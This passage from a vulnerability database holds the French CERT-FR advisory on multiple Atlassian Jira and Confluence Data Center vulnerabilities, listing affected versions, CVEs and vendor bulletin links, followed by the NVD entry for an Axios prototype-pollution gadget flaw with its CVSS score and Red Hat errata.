"url": "https://jira.atlassian.com/browse/JSDSERVER-16616"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16610",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16610"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16617",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16617"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26821",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26821"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26784",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26784"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16623",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16623"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104133",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104133"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26840",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26840"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104130",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104130"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16629",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16629"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26752",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26752"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26827",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26827"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16606",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16606"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16628",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16628"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26816",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26816"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104135",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104135"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26811",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26811"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26826",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26826"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16541",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16541"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104138",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104138"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26822",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26822"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16607",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16607"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16631",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16631"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16625",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16625"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104171",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104171"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16621",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16621"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16584",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16584"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26814",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26814"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16611",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16611"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26836",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26836"
}
]
}
CERTFR-2026-AVI-0934
Vulnerability from certfr_avis - Published: 2026-07-27 - Updated: 2026-07-27
De multiples vulnérabilités ont été découvertes dans les produits Atlassian. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
Impacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Atlassian | Jira | Jira Software Data Center versions antérieures à 9.12.37 | ||
| Atlassian | Confluence | Confluence Data Center versions antérieures à 9.2.22 | ||
| Atlassian | Jira | Jira Software Data Center versions antérieures à 10.3.23 | ||
| Atlassian | Jira | Jira Service Management Data Center versions antérieures à 11.3.8 | ||
| Atlassian | Confluence | Confluence Data Center versions antérieures à 10.2.14 | ||
| Atlassian | Jira | Jira Software Data Center versions antérieures à 11.3.8 | ||
| Atlassian | Jira | Jira Service Management Data Center versions antérieures à 11.1.1 | ||
| Atlassian | Jira | Jira Service Management Data Center versions antérieures à 10.3.23 |
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Jira Software Data Center versions ant\u00e9rieures \u00e0 9.12.37",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Confluence Data Center versions ant\u00e9rieures \u00e0 9.2.22",
"product": {
"name": "Confluence",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center versions ant\u00e9rieures \u00e0 10.3.23",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Service Management Data Center versions ant\u00e9rieures \u00e0 11.3.8",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Confluence Data Center versions ant\u00e9rieures \u00e0 10.2.14",
"product": {
"name": "Confluence",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center versions ant\u00e9rieures \u00e0 11.3.8",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Service Management Data Center versions ant\u00e9rieures \u00e0 11.1.1",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Service Management Data Center versions ant\u00e9rieures \u00e0 10.3.23",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"name": "CVE-2022-37603",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-37603"
},
{
"name": "CVE-2026-29145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29145"
},
{
"name": "CVE-2026-21577",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21577"
},
{
"name": "CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"name": "CVE-2026-29146",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29146"
},
{
"name": "CVE-2026-34043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34043"
},
{
"name": "CVE-2025-62718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
},
{
"name": "CVE-2026-4800",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4800"
},
{
"name": "CVE-2026-33671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
},
{
"name": "CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"name": "CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"name": "CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"name": "CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"name": "CVE-2026-46625",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46625"
},
{
"name": "CVE-2026-40175",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40175"
},
{
"name": "CVE-2026-21579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21579"
},
{
"name": "CVE-2022-37601",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-37601"
},
{
"name": "CVE-2026-42198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42198"
},
{
"name": "CVE-2025-69873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69873"
},
{
"name": "CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"name": "CVE-2026-42583",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42583"
},
{
"name": "CVE-2026-2332",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2332"
},
{
"name": "CVE-2026-42581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
},
{
"name": "CVE-2026-44705",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44705"
},
{
"name": "CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"name": "CVE-2026-47838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47838"
},
{
"name": "CVE-2026-48779",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48779"
},
{
"name": "CVE-2026-6322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
},
{
"name": "CVE-2026-12143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
},
{
"name": "CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"name": "CVE-2026-42264",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42264"
},
{
"name": "CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"name": "CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"name": "CVE-2022-37599",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-37599"
},
{
"name": "CVE-2026-6321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
},
{
"name": "CVE-2026-44490",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44490"
},
{
"name": "CVE-2026-29063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29063"
},
{
"name": "CVE-2025-14813",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14813"
},
{
"name": "CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"name": "CVE-2025-11226",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11226"
}
],
"initial_release_date": "2026-07-27T00:00:00",
"last_revision_date": "2026-07-27T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0934",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-07-27T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits Atlassian. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Atlassian",
"vendor_advisories": [
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104346",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104346"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104360",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104360"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16655",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16655"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16660",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16660"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104356",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104356"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26803",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26803"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26851",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26851"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104355",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104355"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104287",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104287"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26854",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26854"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104340",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104340"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26801",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26801"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16638",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16638"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16653",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16653"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104350",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104350"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104342",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104342"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16659",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16659"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16619",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16619"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-103908",
"url": "https://jira.atlassian.com/browse/CONFSERVER-103908"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16654",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16654"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104345",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104345"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26867",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26867"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16639",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16639"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16612",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16612"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104348",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104348"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26871",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26871"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104226",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104226"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26802",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26802"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26850",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26850"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-103907",
"url": "https://jira.atlassian.com/browse/CONFSERVER-103907"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104349",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104349"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16643",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16643"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104361",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104361"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104334",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104334"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16599",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16599"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104370",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104370"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26869",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26869"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26873",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26873"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104351",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104351"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26812",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26812"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16657",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16657"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104358",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104358"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26804",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26804"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104362",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104362"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26808",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26808"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16658",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16658"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16656",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16656"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104364",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104364"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16652",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16652"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104344",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104344"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104357",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104357"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104353",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104353"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104347",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104347"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104352",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104352"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104363",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104363"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104359",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104359"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26870",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26870"
}
]
}
FKIE_CVE-2026-44495
Vulnerability from fkie_nvd - Published: 2026-06-11 17:16 - Updated: 2026-07-22 12:18
Severity
7.0 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L
7.0 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L
7.0 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L
Summary
Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:20889 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:20938 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:26234 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:27044 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:27063 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:27944 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:28964 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:29082 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:29197 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:30650 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:30651 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33155 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33160 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33163 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33173 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33183 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33574 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:34160 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:34374 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36108 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36611 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36754 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36820 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36882 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36883 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:40262 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:40768 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:40792 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:40795 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41031 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41055 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41064 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41066 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41928 | ||
